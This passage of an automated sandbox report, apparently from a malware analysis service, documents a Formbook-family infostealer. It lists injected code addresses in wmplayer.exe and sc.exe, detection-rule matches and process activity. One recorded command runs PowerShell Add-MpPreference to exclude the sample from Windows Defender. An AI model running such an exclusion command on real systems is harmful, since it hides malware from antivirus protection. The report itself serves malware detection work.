Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339F0E0	6_2_0339F0E0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E70C0	6_2_032E70C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338F0CC	6_2_0338F0CC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0770	6_2_032E0770
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03304750	6_2_03304750
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339F7B0	6_2_0339F7B0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DC7C0	6_2_032DC7C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FC6E0	6_2_032FC6E0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033916CC	6_2_033916CC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0535	6_2_032E0535
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03397571	6_2_03397571
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337D5B0	6_2_0337D5B0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A0591	6_2_033A0591
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339F43F	6_2_0339F43F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D1460	6_2_032D1460
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03392446	6_2_03392446
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338E4F6	6_2_0338E4F6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339FB76	6_2_0339FB76
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339AB40	6_2_0339AB40
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FFB80	6_2_032FFB80
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0331DBF9	6_2_0331DBF9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03396BD7	6_2_03396BD7
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03353A6C	6_2_03353A6C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339FA49	6_2_0339FA49
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03397A46	6_2_03397A46
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03325AA0	6_2_03325AA0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337DAAC	6_2_0337DAAC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DEA80	6_2_032DEA80
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338DAC6	6_2_0338DAC6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F6962	6_2_032F6962
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E9950	6_2_032E9950
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FB950	6_2_032FB950
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E29A0	6_2_032E29A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033AA9A6	6_2_033AA9A6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0334D800	6_2_0334D800
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E2840	6_2_032E2840
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EA840	6_2_032EA840
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C68B8	6_2_032C68B8
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330E8F0	6_2_0330E8F0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E38E0	6_2_032E38E0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03300F30	6_2_03300F30
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03322F28	6_2_03322F28
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339FF09	6_2_0339FF09
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03354F40	6_2_03354F40
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339FFB1	6_2_0339FFB1
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E1F92	6_2_032E1F92
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032ECFE0	6_2_032ECFE0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D2FC8	6_2_032D2FC8
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339EE26	6_2_0339EE26
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0E59	6_2_032E0E59
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E9EB0	6_2_032E9EB0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339CE93	6_2_0339CE93
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F2E90	6_2_032F2E90
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339EEDB	6_2_0339EEDB
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EAD00	6_2_032EAD00
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03397D73	6_2_03397D73
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03391D5A	6_2_03391D5A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E3D40	6_2_032E3D40
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F8DBF	6_2_032F8DBF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DADE0	6_2_032DADE0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FFDC0	6_2_032FFDC0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03359C32	6_2_03359C32
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E0C00	6_2_032E0C00
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380CB5	6_2_03380CB5
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339FCF2	6_2_0339FCF2
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D0CF2	6_2_032D0CF2
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0356D34C	13_2_0356D34C
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363A352	13_2_0363A352
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363132D	13_2_0363132D
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_036403E6	13_2_036403E6
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0358E3F0	13_2_0358E3F0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035C739A	13_2_035C739A
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03620274	13_2_03620274
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_036212ED	13_2_036212ED
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0359B2C0	13_2_0359B2C0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035852A0	13_2_035852A0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0364B16B	13_2_0364B16B
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0356F172	13_2_0356F172
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035B516C	13_2_035B516C
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03608158	13_2_03608158
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03570100	13_2_03570100
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0361A118	13_2_0361A118
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_036381CC	13_2_036381CC
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_036401AA	13_2_036401AA
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0358B1B0	13_2_0358B1B0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363F0E0	13_2_0363F0E0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_036370E9	13_2_036370E9
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035870C0	13_2_035870C0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0362F0CC	13_2_0362F0CC
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035A4750	13_2_035A4750
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03580770	13_2_03580770
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0357C7C0	13_2_0357C7C0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363F7B0	13_2_0363F7B0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_036316CC	13_2_036316CC
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0359C6E0	13_2_0359C6E0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03637571	13_2_03637571
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03580535	13_2_03580535
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0361D5B0	13_2_0361D5B0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03640591	13_2_03640591
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03632446	13_2_03632446
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03571460	13_2_03571460
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363F43F	13_2_0363F43F
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0362E4F6	13_2_0362E4F6
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363FB76	13_2_0363FB76
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363AB40	13_2_0363AB40
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035BDBF9	13_2_035BDBF9
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035F5BF0	13_2_035F5BF0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03636BD7	13_2_03636BD7
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0359FB80	13_2_0359FB80
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03637A46	13_2_03637A46
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363FA49	13_2_0363FA49
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035F3A6C	13_2_035F3A6C
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0362DAC6	13_2_0362DAC6
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0361DAAC	13_2_0361DAAC
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0357EA80	13_2_0357EA80
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035C5AA0	13_2_035C5AA0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03589950	13_2_03589950
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0359B950	13_2_0359B950
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03596962	13_2_03596962
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0364A9A6	13_2_0364A9A6
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035829A0	13_2_035829A0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03582840	13_2_03582840
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0358A840	13_2_0358A840
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035ED800	13_2_035ED800
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035AE8F0	13_2_035AE8F0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035838E0	13_2_035838E0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035668B8	13_2_035668B8
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035F4F40	13_2_035F4F40
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363FF09	13_2_0363FF09
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035A0F30	13_2_035A0F30
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035C2F28	13_2_035C2F28
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03572FC8	13_2_03572FC8
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0358CFE0	13_2_0358CFE0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03581F92	13_2_03581F92
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363FFB1	13_2_0363FFB1
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03580E59	13_2_03580E59
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363EE26	13_2_0363EE26
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363EEDB	13_2_0363EEDB
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03592E90	13_2_03592E90
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03589EB0	13_2_03589EB0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363CE93	13_2_0363CE93
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03637D73	13_2_03637D73
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03583D40	13_2_03583D40
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03631D5A	13_2_03631D5A
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0358AD00	13_2_0358AD00
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0359FDC0	13_2_0359FDC0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0357ADE0	13_2_0357ADE0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03598DBF	13_2_03598DBF
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03580C00	13_2_03580C00
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_035F9C32	13_2_035F9C32
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_0363FCF2	13_2_0363FCF2
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03570CF2	13_2_03570CF2
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_03620CB5	13_2_03620CB5
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E11780	13_2_02E11780
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E2A2E0	13_2_02E2A2E0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E132CB	13_2_02E132CB
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E132D0	13_2_02E132D0
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E0CB90	13_2_02E0CB90
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E0C967	13_2_02E0C967
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E0C970	13_2_02E0C970
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E0AC08	13_2_02E0AC08
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_02E0AC10	13_2_02E0AC10
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_033BBB63	13_2_033BBB63
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_033BBA48	13_2_033BBA48
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_033BAF68	13_2_033BAF68
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_033BBEFD	13_2_033BBEFD
Source: C:\Windows\SysWOW64\sc.exe	Code function: 13_2_033BBCCB	13_2_033BBCCB

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: String function: 0335F290 appears 105 times
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: String function: 032CB970 appears 268 times
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: String function: 03327E54 appears 89 times
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: String function: 03315130 appears 36 times
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: String function: 0334EA12 appears 86 times
Source: C:\Windows\SysWOW64\sc.exe	Code function: String function: 035C7E54 appears 96 times
Source: C:\Windows\SysWOW64\sc.exe	Code function: String function: 035FF290 appears 105 times
Source: C:\Windows\SysWOW64\sc.exe	Code function: String function: 035EEA12 appears 86 times
Source: C:\Windows\SysWOW64\sc.exe	Code function: String function: 035B5130 appears 36 times
Source: C:\Windows\SysWOW64\sc.exe	Code function: String function: 0356B970 appears 268 times

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1512 -s 1456

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Static PE information: No import functions for PE file found

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000000.2091070027.000001DF09F0D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEtafudeqosubujasugaz6 vs SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0BBB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEzemesefejoF vs SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Binary or memory string: OriginalFilenameEtafudeqosubujasugaz6 vs SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Source: 6.2.wmplayer.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe.1df0bbf5348.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 6.2.wmplayer.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe.1df0bbf5348.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0000000D.00000002.3944875828.0000000003180000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2322232096.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.3942451462.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.3948817261.00000000057D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2321692626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.3945190684.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3945837611.00000000038C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.2322275427.00000000040C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbPROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocaQ,
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A0A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@21/32@12/10

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe

File created: C:\Users\user\AppData\Local\Microsoft\Media Player\Transcoded Files Cache

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\Microsoft_WMP_70_CheckForOtherInstanceMutex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1512
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5484:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ejalo0vz.3ve.ps1

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: sc.exe, 0000000D.00000002.3942849584.0000000002F9F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3942849584.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000003.2506456914.0000000002FA9000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000003.2504141459.0000000002F9F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
